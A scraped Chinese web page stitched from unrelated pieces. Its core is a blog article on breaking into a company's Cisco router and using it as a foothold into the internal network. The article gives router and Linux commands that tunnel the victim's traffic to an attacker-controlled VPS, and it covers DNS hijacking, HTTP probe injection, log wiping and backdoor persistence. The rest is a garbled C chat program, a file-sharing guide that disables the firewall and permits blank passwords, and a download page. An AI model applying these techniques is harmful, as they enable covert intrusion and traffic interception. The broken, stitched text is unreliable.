局域网传文件一对多传文件用什么方法?

入侵的艺术之利用路由器迈入内网入侵的艺术之利用路由器迈入内网永远的草帽百家号去年开始利用路由器对目标内网进行渗透的方式方法开始研究,测试了一阵了。看到乌云之前有一篇翻译外国人的文章,讲路由器流量劫持的,利用条件苛刻,成效也不大。所以决定写一篇自己实测的例子。0x01 控制路由器现在只搞cisco的路由器,但是方法不限于cisco,华为,juniper什么的都可以。这一步没有什么好的办法,我们利用分布式扫描抓到了一些路由器,再加上其他的漏洞,有了一定数量作为测试保证。选择一台 cisco c800系列的小企业路由器(很老了)图1 router version进去之后,先查看日志,登陆认证相关信息。图 2 router 登陆等相关信息有一个登陆限制的acl,被我之前删掉了,这就找到了telnet的密码。同时没有开启aaa认证,也就不存在什么认证服务器什么的,就只有本地验证。没有任何日志服务器的配置,连snmp都没有配置(本来还想留一个snmp的后门,看来是不行了)。赶紧添加账号密码,加固路由器,修复漏洞。图3 添加特权账户0x02 网络拓扑分析基本操作完,赶紧保留一份完整的配置(这个不能完整的贴出来)然后分析基本网络架构。总述就是这是一个公司的小分部,通过pppoe加nat上网,有一个公网ip地址,有一个10.xx.xx.0/24的内网地址,通过gre的隧道,和主公司相连,拥有更为庞大的内网。这种网络形式是最为常见的,通过ISP拨号获取公网地址,然后内网机器通过nat上网。全公网ip地址的公司网络极为少见。网络拓扑如下图4 网络拓扑示意图0x03 准备进入内网内网机器通过NAT访问Google,同时内网受到NAT的保护。我们控制了R1这台路由器,处于内网出口;还有一台公网VPS,ubuntu12.04 。R2表示很多台路由器,没有控制权限。由于想要进行内网渗透测试,需要获取更多的信息。我们另外添加一台公网VPS(win2008R)在上面架设流量监视服务器,分析内网日常流量和行为。win2008搭建的是netflow服务器,在R1上配置netflow,来观测内网流量信息。netflow软件网上有好多,solarwind最好,支持sqlserver2005,能存储大量的数据,没找到破解版。我用的ManageEngine,到处都是破解版。netflow配置:ip flow-export so int e 0ip flow-ex dst 1.1.1.1 8888ip flow-ex ver 5……流量分析比较直观,公司日常工作流量都是通过GRE Tunnel到达主网络,日常流量以http和https为主,而且通过流量统计可以看出来,他们的dns绝大多数都是Google public dns,占了所有dns流量的90%以上。图6 目标网络流量总览图图7 流量分类示意图统计出来的web流量,尝试去打开这些网页,我都打不开,都是提示404 Not Found或者就是证书错误。这样看不见到底访问的是什么网站,Google也都没有搜索记录,就只能勉强看一下bing的同站,结果记录还是特别少。为了摸清这个内网更为详细的信息(公司叫什么名字,员工经常登陆什么网站,常用软件是什么),就只能先劫持一下DNS了。由于网络环境比较恶略,有个NAT使得网络复杂太多。所以不选择使用透明劫持方式,选择用网关劫持方式。做一下名词解释:透明劫持方式:自定义名词,即不修改数据包的源IP地址和目的IP地址,只对数据包的data和checksum进行修改。这样基本不会让用户和服务器引起任何察觉,做到完全透明,同时无法被杀软防火墙IPS之类的发觉,除了增加一些延迟。网关劫持方式:顾名思义,就是作为一个网关,对经过我的流量进行路由和NAT,使得流量能够正常在Internet上传输。会产生较大的影响,以Gmail为例,会提示异地登陆等。关于劫持有一条准侧(我总结的):在有防火墙或者NAT的环境中劫持流量,你在哪把数据包接走,必须得把数据包(被劫持的数据包或者该数据包的回包)送回到那里。这里做一下解释,在NAT上网的环境中做GRE通道的流量劫持,会很麻烦。出方向数据包通过路径为先进入GRE Tunnel,然后作为一个GRE 数据包通过NAT,也就是NAT只对GRE数据包生效,并且记录下状态,不会对被包含在GRE 中的数据包进行NAT,所以入方向,无法通过NAT。 这样的解释适用于防火墙。因为编程能力有限等考虑,决定使用网关劫持模式。在R1的连接公网的端口和我的Linux eth0 建立GRE TunnelLinux IP 地址:1.1.1.1路由器公网IP地址:2.2.2.2R1的配置enconf tint tunnel 1tunnel so e0(接口名称,也可以使用接口IP地址,但是会出问题)tunnel dest 1.1.1.1ip add 12.1.1.1 255.255.255.252endlinux Ubuntu 配置: 建立GRE Tunnel#modprobe ip_gre#lsmode | grep
#ip tunnel add gre1 mode gre
remote 2.2.2.2 local 1.1.1.1 ttl 255#ip link set gre1 up#ip addr add 12.1.1.2 peer 12.1.1.1 dev gre1在Tunnel的两端都PING一下对端的IP地址,应该都是通的。然后开启路由转发将 /proc/sys/net/ip_forward 的数值修改为 1 (本次有效,重启后失效)修改 /etc/sysctl.conf 文件,让包转发在系统启动时生效net.ipv4.ip_forward = 1 前面的#号去掉开启Iptables 的NAT#iptables -t nat -A POSTROUTING -s 192.168.1.0/25 -j SNAT —to-source 202.103.224.58 192的地址为需要做NAT的地址,202地址为已有公网IP地址,配置单词生效,重启后失效。保存iptables 的规则 。#service iptables save添加内网路由route add -net 10.0.0.0/8 gre1 通往10.0.0.0这个八位的网络全部走gre1这个出口,即全部走GRE隧道。然后利用我们自己开发的软件获取DNS数据内容 ,内容不方便贴出。劫持了几天dns,看他们上了几天网之后,对内网有了个更为清楚的认识。进一步对HTTP数据包进行修改,加了个探针。探明之后再准备加入EXP获取内网权限,结果都是chrome,就放弃了。探针信息不方便贴出。流量中还有telnet,ssh这类的流量,但是不能劫持,目的地址做了acl的限制,我的Linux不能访问,直接refuse。0x04 进入内网流量不能帮我获取内网权限,就只能自己进入内网。强制劫持一个内网没有人用的合法IP地址,通过连接linux openVPN分配给自己,剩下只要在路由器添加这个地址的主机路由和在Linux上添加到10.xx.xx.xx/8 的默认路由,然后我的WorkStation就获得了内网访问权限(没有像VPN什么的限制,访问权限等同于路由器权限)。如何让自己的WorkStation进入内网就是很随意的了,方法实在是太多,因为此时这台Ubuntu已经在内网中。openVPN配置和添加路由配置就不贴出了,网上太多。图8 验证Ubuntu于内网的连通性这样的内网渗透是有以下几个优点:你所有的流量会被内网流量设备认为是内网流量,流量稍微大一点的内网,你可以随意下载文件,不用再关心流量过大引起报警。(理论,没脱过文件)在路由器上做好隐藏,规避netflow监测,去掉日志,在临走的时候直接erease所有的存储器,你的行为在内网不可查。(理论,没做过)如果地址劫持的合适,能绕过内网服务器的登陆限制(三层限制)。时间把握的好,可以制造内网某员工从文件服务器大量下载文件的假象。(理论,没做过)缺点就一个,数据包不加密,这点很烦人,数据包基本全透明。要是路由器外没有安全设备了或者直接做一个IPSec Tunnel,就等同于没缺点。总结,就是拥有极高的隐蔽性,远高于VPN,马什么的。连日志服务器都可以不怎么理他。本文标题为迈入内网,并非内网渗透,不做内网渗透相关研究。所有的敏感的信息已经修改涂掉。0x05 后话其他的一些小讨论关于链路延迟,研究比较多,需要多说一点。以我劫持的Google为例,我在Google与内网路径的附近,并且是靠近Google的一端。到Google的延迟平均为0.617ms图9 Ubuntu 到Google延迟路由器到Linux的延迟平均为256ms,路由器直接ping Google 平均延迟时180ms图10 路由器网络延迟截图Linux处理劫持数据,修改数据包的软件延迟约为5ms,所以预估劫持之后的延迟应该在260ms左右。但是,经过劫持之后,到目标的延迟为248,该数值小于256ms+0.6ms+5ms,至于为什么,无法解释。总体延迟影响,增加了180ms的三分之一,60ms左右。之前我们对延迟有过较多的讨论:增加了延迟的三分之一,影响会比较明显,容易被察觉从而引发报警。我个人认为,大家上百度比平时延迟增加了500ms,或是1s,就算是baidu的运维,在检查完IP地址,看完tracert之后,也就骂骂运营商。更何况一般网络用户不会认为是运营商的问题,只会认为是不是自己电脑卡了,可能有人怀疑自己被网络劫持了么。关于内网路由器的讨论,本文研究的路由器为网络边界路由器,至少有一个公网IP地址。当路由器或者三层交换处于内网中,劫持能否使用,答案是可以的。通过建立七层应用层隧道(GRE为三层网络层隧道),就像我们个人电脑一样,穿过内网。或者直接同内网的一台服务器建立连接,劫持数据(经过验证,但是公网测试时,对端是一台公网CISCO路由器2911,没试过服务器,开发能力有限)。如果需要穿透内网,需要应用层VPN,例如IPSec VPN,EZ VPN (我测试了这俩,其他的高于三层的VPN都理论可行)等,配置比GRE Tunnel复杂的多,但懂了原理配置还是很简单的。配置实在是贴不完。IP Sec VPN理论上应该可以向IP Sec VPN 服务器建立连接,我没成功,还在理论层面研究。EZ VPN ,CISCO专有,肯定不能在WIN或者linux上搭建服务器。关于驻留,通过路由器扩展内网驻留或者路由器后门驻留,比马什么的好太多了,除了NSA和fireeye,没听说过谁接触过过路由器后门的。国内绝对是通杀,会配置路由器的都没几个人,更别说反查。关于HTTPS的讨论:绿标这个问题确实比较头疼,我目前尝试能过的就是嵌套,在绿标中插入红标,最后用户看到的还是绿标。关于流量劫持软件,网上都说劫持软件多如牛毛,但是实际上找下来,就没有一个可以拿来直接用的,尤其是在透明劫持这个模式下,没发现能直接用的,像什么MITMproxy什么什么的,大家都说好,实际测试一下,也就适合开发人员调试软件,所以只能自己开发,但是开发能力有限。希望大家推荐一些,能效率很高的处理大流量(例如BGP劫持)的软件。本文由百家号作者上传并发布,百家号仅提供信息发布平台。文章仅代表作者个人观点,不代表百度立场。未经作者许可,不得转载。永远的草帽百家号最近更新:简介:了解最前沿的知识,体验最前沿的科技作者最新文章相关文章tcp中级用法:局域网聊天室-多对1-带文件传输
了解select函数的用法,实现多路复用,达到多对一的聊天。
项目框架:
//文件传输可能会出BUG。
/* See NOTES */
void *thread_tcp_recv(void *parg)
int socket_fd = (int)
char cmd[16];
char arg[1024];
char recv_buf[1500];
printf(&thread_tcp_recv is running,socket_fd=%d\n&,socket_fd);
/* 接收前清空recvbuf */
bzero(recv_buf,sizeof recv_buf);
/* 每次申请接收数据的最大长度1500字节 */
len = recv(socket_fd,recv_buf,sizeof recv_buf,0);
if(len &= 0)
perror(&recv fail:&);
/* 清零cmd、arg数组 */
bzero(cmd,sizeof cmd);
bzero(arg,sizeof arg);
/* 从recv_buf当中获取命令 */
strcpy(cmd,strtok(recv_buf,&:&));
/* 从recv_buf当中获取参数 */
strcpy(arg,strtok(NULL,&:&));
/* 检查是否聊天 */
if(strncmp(cmd,&talk&,4)==0)
printf(&talk:%s\n&,arg);
if(strncmp(arg,&exit&,4)==0)
printf(&now don't to recv data\n&);
/* 检查是否要接收文件 */
if(strncmp(cmd,&sendfile&,8)==0)
printf(&recvfile:%s\n&,arg);
sprintf(recv_buf,&[client]%s&,arg);
int fd = open(recv_buf,O_CREAT|O_RDWR|O_TRUNC);
if(fd &0 )
printf(&create %s fail\n&,arg);
/* 每次申请接收数据的最大长度1500字节 */
len = recv(socket_fd,recv_buf,sizeof recv_buf,0);
/* 对方断开连接 */
if(len &= 0)
perror(&recv fail:&);
/* 对新建的文件写入数据内容 */
write(fd,recv_buf,len);
/* 若发现当前接收的数据长度是小于1024,也代表说文件接收完毕 */
if(len & 1500)
printf(&recv end\n&);
/* 关闭文件 */
close(fd);
close(socket_fd);
int main(int argc, char **argv)
int socket_
struct sockaddr_in dest_
/* 创建IPv4套接字,类型为TCP */
socket_fd=socket(AF_INET,SOCK_STREAM,0);
if(socket_fd & 0)
perror(&create socket fail\n&);
return -1;
dest_addr.sin_family
= AF_INET;
//IPv4协议族
dest_addr.sin_port
= htons(60000);
//目的端口,转换为网络字节排序
dest_addr.sin_addr.s_addr = inet_addr(&192.168.1.205& );//将字符串IP地址转换为IPv4的32位地址
/* 进行连接 */
rt = connect(socket_fd,(struct sockaddr *)&dest_addr,sizeof dest_addr);
if(rt & 0)
perror(&connect fail\n&);
return -1;
/* 创建接收线程,并传入socket_fd到线程当中 */
pthread_create(&tid,NULL,&thread_tcp_recv,(void *)socket_fd);
char cmd[16];
char arg[1024];
char send_buf[1500];
printf(&please enter (command:arg):\n&);
bzero(cmd,sizeof cmd);
bzero(arg,sizeof arg);
bzero(send_buf,sizeof send_buf);
/* 获取标准输入的命令与参数,输入字符串遇到空格也会终止 */
gets(cmd);
gets(arg);
fflush(stdin);
/* 检查是否进行聊天 */
if(strncmp(cmd,&talk&,4)==0)
sprintf(send_buf,&%s:%s&,cmd,arg);
rt=send(socket_fd,send_buf,strlen(send_buf),0);
printf(&send talk fail\n&);
if(strncmp(arg,&exit&,4)==0)
/* 检查是否进行发送文件 */
if(strncmp(cmd,&sendfile&,8)==0)
/* 以只读方式打开文件 */
int fd = open(arg,O_RDONLY);
if(fd & 0)
printf(&open %s fail\n&,arg);
strcat(send_buf,cmd);
strcat(send_buf,&:&);
strcat(send_buf,arg);
//sprintf(send_buf,&%s:%s&,cmd,arg);
/* 发送命令与参数 */
rt = send(socket_fd,send_buf,strlen(send_buf),0);
printf(&send file step 1 fail \n&);
/* 加个小延时,防止发送命令与参数与文件数据在tcp传输过程中是同时发送 */
usleep(10000);
/* 发送文件内容 */
/* 读取文件内容,每次申请读取1024字节 */
len = read(fd,send_buf,1024);
if(len &= 0)
send(socket_fd,send_buf,1024,0);
/* 若读取的文件内容小于1024字节,也意味着读取文件结束 */
if(len & 1024)
/* 关闭文件 */
close(fd);
/* 关闭套接字 */
close(socket_fd);
#include #include #include #include #include #include #include #include #include #include #include
int user[100]; void *send_client(void *aaa) { char id[10]; char cmd[16]; char arg[1024]; char send_buf[1500]; int socket_ while(1) { printf(&please enter (id:command:arg):\n&); bzero(id,sizeof id); bzero(cmd,sizeof cmd); bzero(arg,sizeof arg); bzero(send_buf,sizeof send_buf); /* 获取标准输入的命令与参数 */ gets(id); gets(cmd); gets(arg); name = atoi(id); socket_fd=user[name]; fflush(stdin);// 更新缓冲区 会强迫将缓冲区内的数据写回参数 stream 指定的文件中 /* 检查是否进行聊天 */ if(strncmp(cmd,&talk&,4)==0) { sprintf(send_buf,&%s:%s&,cmd,arg); rt=send(socket_fd,send_buf,strlen(send_buf),0); if(rt&0) { printf(&send talk fail\n&); } } /* 检查是否进行发送文件 */ if(strncmp(cmd,&sendfile&,8)==0) { /* 以只读方式打开文件 */ int fd = open(arg,O_RDONLY); if(fd & 0) { printf(&open %s fail\n&,arg); } strcat(send_buf,cmd); strcat(send_buf,&:&); strcat(send_buf,arg); //sprintf(send_buf,&%s:%s&,cmd,arg); /* 发送命令与参数 */ rt = send(socket_fd,send_buf,strlen(send_buf),0); if(rt&0) { printf(&send file step 1 fail \n&); } //添加间隔 防止 内核把两个信息拼接在一起 usleep(1000); /* 发送文件内容 */ while(1) { /* 读取文件内容,每次申请读取1024字节 */ len = read(fd,arg,sizeof arg); if(len &= 0) if(len == sizeof arg) send(socket_fd,arg,sizeof arg,0); /* 若读取的文件内容小于1024字节,也意味着读取文件结束 */ else { send(socket_fd,arg,len,0); } } /* 关闭文件 */ close(fd); } } sleep(3); /* 关闭套接字 */ close(socket_fd); pthread_exit(0); } int main(int argc, char *argv[]) { // 创建一个SOCKET,返回值为socket的文件描述符 int socket_fd = socket(AF_INET,SOCK_STREAM, 0); if(socket_fd == -1) { perror(&socket failed&); return -1; } pthread_ /* 创建接收线程,并传入socket_fd到线程当中 */ pthread_create(&tid,NULL,&send_client, NULL); // 定义结构体变量 struct sockaddr_in local_addr, dest_ // 对其中的数据进行设置 int len = sizeof(local_addr); bzero(&local_addr, len); local_addr.sin_family = AF_INET; local_addr.sin_port = htons(60000);//端口号 转换成网络字节序和socket绑定 local_addr.sin_addr.s_addr = inet_addr(&192.168.1.205&);//自身ip 0.0.0.0可以得到本网卡对应的所有IP地址 int on=1; /* 设置socket允许重复使用地址与端口 */ setsockopt(socket_fd,SOL_SOCKET,SO_REUSEADDR,&on,sizeof on); //把套接字和自身的信息绑定在一起 rt = bind(socket_fd ,(struct sockaddr*)&local_addr, len ); if (rt == -1) { perror(&bind failed&); return -1; } // 打开监听功能, rt = listen (socket_fd,5);// 如果有超过5个IP同时进行链接,只取前5个进行处理,其他都拒绝 if(rt == -1) { perror(&listen failed&); return -1; } // 监听套接字正式成立,(10000号设置完毕) // add for select fd_set r_fds,old_ FD_ZERO(&r_fds); //从r_fds中清除所有的文件描述符 FD_ZERO(&old_fds); //从old_fds中清除所有的文件描述符 FD_SET(socket_fd, &r_fds); //把socket_fd加入到r_fds套接字 old_fds = r_ //复赋值 int max_fd = socket_ // need check int accept_ char buf[512] = {0}; int j=0; char cmd[16]; char arg[1024]; char recv_buf[1500]; while(1) { r_fds = old_// listen+comm //初始化 rt = select(max_fd+1,&r_fds, NULL, NULL, NULL); printf(&select rt = %d \n&, rt); /* 有文件可读写 */ if(rt & 0) { // 首先判断是否有新连接,最开始是没有连接的 if(FD_ISSET(socket_fd, &r_fds)) { // 等待客户端连接 bzero(&dest_addr, len);//len为本地地址的长度 accept_fd = accept(socket_fd, (struct sockaddr*)&dest_addr, &len);// 阻塞功能 //如果accept结束组塞, 要么是出错,要么就是有新连接,会产生新的套接字(专门为这个新连接服务) if(accept_fd == -1) { perror(&accept failed&); return -1; } else { char *p = inet_ntoa(dest_addr.sin_addr); printf(&dest_info = [ip]%s,[port]%d \n&,p, ntohs (dest_addr.sin_port)) ; //把通道描述符添加到用户组; user[j++]=accept_ /* 将fd加入到所有要读的文件文件描述符的集合 */ FD_SET(accept_fd, &old_fds); /* 获取最大的文件描述符的值 */ max_fd = max_fd&accept_fd? max_fd:accept_ } FD_CLR(socket_fd, &r_fds);// 避免对下面的操作造成影响,因为只进行读写操作 //将socket_fd从r_fds中清除 }// 目的是用来检查通信socket有没有发生变化 for(i=0; i&=j; i++)// i=0可以优化 { if(FD_ISSET(user[i], &r_fds)) { /* 接收前清空recvbuf */ bzero(recv_buf,sizeof recv_buf); /* 每次申请接收数据的最大长度1500字节 */ int ret1 = recv(user[i],recv_buf,sizeof recv_buf,0); if(ret1 == 0 || ret1 == -1)// 对方中断了 { perror(&read failed &); close(user[i]); FD_CLR(user[i], &old_fds);//不再监控这个 } bzero(cmd,sizeof cmd);/* 清零cmd、arg数组 */ bzero(arg,sizeof arg); strcpy(cmd,strtok(recv_buf,&:&));/* 从recv_buf当中获取命令 */ strcpy(arg,strtok(NULL,&:&)); /* 从recv_buf当中获取参数 */ /* 检查是否聊天 */ if(strncmp(cmd,&talk&,4)==0) { printf(&%d:talk:%s\n&,i,arg); if(strncmp(arg, &exit&,4)==0) { close(user[i]); FD_CLR(user[i], &old_fds);//不再监控这个fd } } /* 检查是否要接收文件 */ if(strncmp(cmd,&sendfile&,8)==0) { printf(&recvfile:%s\n&,arg); sprintf(recv_buf,&[server]%s&,arg); int fd = open(recv_buf,O_CREAT|O_RDWR|O_TRUNC); if(fd &0 ) { printf(&create %s fail\n&,arg); } while(1) { /* 每次申请接收数据的最大长度1500字节 */ llen = recv(user[i],recv_buf,sizeof recv_buf,0); /* 对方断开连接 */ if(llen &= 0) { perror(&recv fail:&); } /* 对新建的文件写入数据内容 */ write(fd,recv_buf,llen); /* 若发现当前接收的数据长度是小于1024,也代表说文件接收完毕 */ if(llen & 1024) { printf(&recv end\n&); } } /* 关闭文件 */ close(fd); } } } } } close(socket_fd); return 0; }同一个局域网内两台电脑共享文件操作流程图解
& 发布时间: 09:46:49 & 作者:佚名 &
两台电脑如何共享文件呢?首先在同一个局域网,直接点右键把文件夹共享了。然后查看该电脑局域网IP。在同一局域网的另一台电脑,按win+R 输入IP地址就可以查看到共享的文件,感兴趣的朋友可以了解下
  现在无论在家里,还是在公司,共享文件成为了信息互动,信息共享的功能,利用局域网的内部链接的优势,达到一个信息共享的效果。那么两台电脑如何共享文件呢?首先在同一个局域网,直接点右键把文件夹共享了。然后查看该电脑局域网IP。在同一局域网的另一台电脑,按win+R 输入 \\IP地址就可以查看到共享的文件。然后就可以操作了。但注意两台电脑必须要在同一工作组。
  解决方法与步骤:
  步骤一:配置IP地址
  1.首先在&电脑A&上配置IP地址
  2.单机&开始菜单&--&运行&
  3.输入&conrtol&打开控制面板
  4.找到&网络连接&打开
  5.右键单机&本地连接&--&属性&
  6.双击&Internet协议(TCP/IP)&
  7.选择&使用下面IP地址&
  8.在&ip地址&和&子网掩码&分别输入&192.168.1.55&和&255.255.255.0&确定
  9.在&电脑B&上重复2-8步,&ip地址&和&子网掩码&改成&192.168.1.66&和&255.255.255.0&&确定&
  步骤二:关闭防火墙
  1.输入&conrtol&打开控制面板
  2.找到&Windows防火墙&&关闭&
  3.单击&确定&
  步骤三:更改&本地策略&
  1.&开始&--&运行&输入&gpedit.msc&&确定&,展开&Windows设置&--&本地策略&--&安全选项&
  2.将&帐户: 使用空白密码的本地帐户只允许进行控制台登录&双击
  3.双击改为&已停用&并确定
  步骤四:共享需要访问的文件夹
  1.右键&文件&--&属性&
  2.选择&共享&--&共享此文件夹&单机&确定&
  步骤五:访问文件
  最后在&电脑A&上访问&电脑B&,在电脑A上打开&开始菜单&--&运行&输入&\\192.168.1.2\test&&确定&
大家感兴趣的内容
12345678910
最近更新的内容HOU文件多播v1.0a绿色免费版_局域网一对多批量传输文件-软件下载页_JZ5U绿色下载站
您当前的位置: →
常用工具栏
HOU文件多播v1.0a绿色免费版_局域网一对多批量传输文件
====== [下面软件真实下载地址列表] ====== [版权原因部分软件停止下载] ======
HOU文件多播 是用于局域网文件&一对多&批量传输的软件。它是基于UDP的可靠传输,能有效提高传输速度,并减轻服务器负载。
本站提供HOU文件多播v1.0a绿色免费版_局域网一对多批量传输文件软件免费下载,版权归原作者或公司所有。如有侵权,请与我们联系删除。
* 本站提供的软件我们都会尽可能测试再上传,都亲自运行过,同时通过卡巴斯基杀毒软件的验证,限于能力及系统等问题,无法保证所有软件都没有任何问题,如果您发现链接错误或其它问题,发email到zarong◎gmail.com告诉我们,谢谢!
* 为了达到最快的下载速度,推荐使用或下载本站软件。为确保正常使用请用最新版来解压本站提供的软件!
* 为了网站可以继续发展下去,在不太影响大家的情况下还请给予点击站内广告。本站所有下载无需点击任何广告即可正常下载,由于部分是FTP下载,限制了同时连接数,因此还请使用下载工具尝试多一会连接时间。如果您发现下载链接错误,请点击谢谢!
* 站内提供的所有软件如包含破解及注册码均是由网上搜集,若无意中侵犯到您的版权利益,通知我们,我们会在收到信息一周内给予配合处理!
* 本站为非营利性站点,所有资源均是网上搜集或私下交流学习之用,任何涉及商业盈利目的均不得使用,否则产生的一切后果将由您自己承担!本站仅仅提供一个观摩学习的环境,将不对任何资源负法律责任。所有资源请在下载后24小时内删除。如果您觉得满意,请购买正版,唯有如此才能更好支持你所喜欢的软件更好发展!本站严厉谴责和鄙夷一切利用本站资源进行牟利的盗版行为!软件介绍:HOU文件多播 是用于局域网文件“一对多”批量传输的软件。它是基于UDP的可靠传输,能有效提高传输速度,并减轻服务器负载。
下载地址:
如果您发现该软件不能下载,为了保证您快速的下载,推荐使用[网际快车]等专业工具下载. 为确保所下软件能正常使用,请使用[WinRAR v3.8]或以上版本解压本站软件.站内软件都是由网上收集,只供网友学习使用,如果所收集的软件侵犯了您的版权,请告知。}

我要回帖

更多关于 局域网传输文件工具 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信